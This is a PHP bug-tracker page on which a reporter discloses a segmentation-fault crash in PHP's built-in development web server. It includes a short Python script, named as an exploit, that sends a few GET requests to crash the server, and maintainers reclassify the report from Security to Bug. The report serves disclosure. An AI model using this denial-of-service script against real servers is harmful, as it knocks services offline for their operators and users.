|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2019-05-21 15:18 UTC] michele dot cisternino at protonmail dot com
[2019-05-21 17:46 UTC] cmb@php.net
-Type: Security
+Type: Bug
[2019-05-21 17:46 UTC] cmb@php.net
[2019-05-21 18:35 UTC] michele dot cisternino at protonmail dot com
[2019-05-22 07:40 UTC] cmb@php.net
[2019-05-22 07:57 UTC] michele dot cisternino at protonmail dot com
[2019-05-22 08:12 UTC] spam2 at rhsoft dot net
[2019-05-23 09:25 UTC] nikic@php.net
[2019-05-23 13:30 UTC] michele dot cisternino at protonmail dot com
[2021-07-30 11:42 UTC] cmb@php.net
-Status: Open
+Status: Feedback
-Assigned To:
+Assigned To: cmb
[2021-07-30 11:42 UTC] cmb@php.net
[2021-08-08 04:22 UTC] php-bugs at lists dot php dot net
|
|||||||||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Fri Oct 24 01:00:02 2025 UTC |
Description: ------------ Hi, I found a vulnerability while I was testing the PHP built-in web server. The vulnerability could be exploited by an attacker to crash the server causing a segmentation fault. I think the vulnerability resides in the way the server handle the HTTP requests. The steps to reproduce to trigger the segmentation fault are the following: $ apt install php $ mkdir server $ cd server $ touch file.php $ php -S 0.0.0.0:80 $ python exploit.py 127.0.0.1 #But could be a remote server as well You can find the exploit in the "Test script" section. Further investigations of the issue could lead an attacker to exploit the memory corruption in the server to get a reverse shell (eg. Buffer overflow). Anyway, with the actual exploit an attacker could already DoS the server. Test script: --------------- import sys import requests if len(sys.argv) < 2: print "[!] Usage: %s TARGET" % sys.argv[0] exit() target = sys.argv[1].strip() if not target.startswith("http://") and not target.startswith("https://"): target = "http://" + target if not target.endswith("/"): target = target + "/" filenames = ["", "file.php", "test.php", ""] print "[*] Sending requests to %s." % target try: for filename in filenames: requests.get(target + filename) print "The exploit didn't worked." except requests.exceptions.ConnectionError: print "The exploit worked!" Expected result: ---------------- The server crash with "Segmentation fault" error.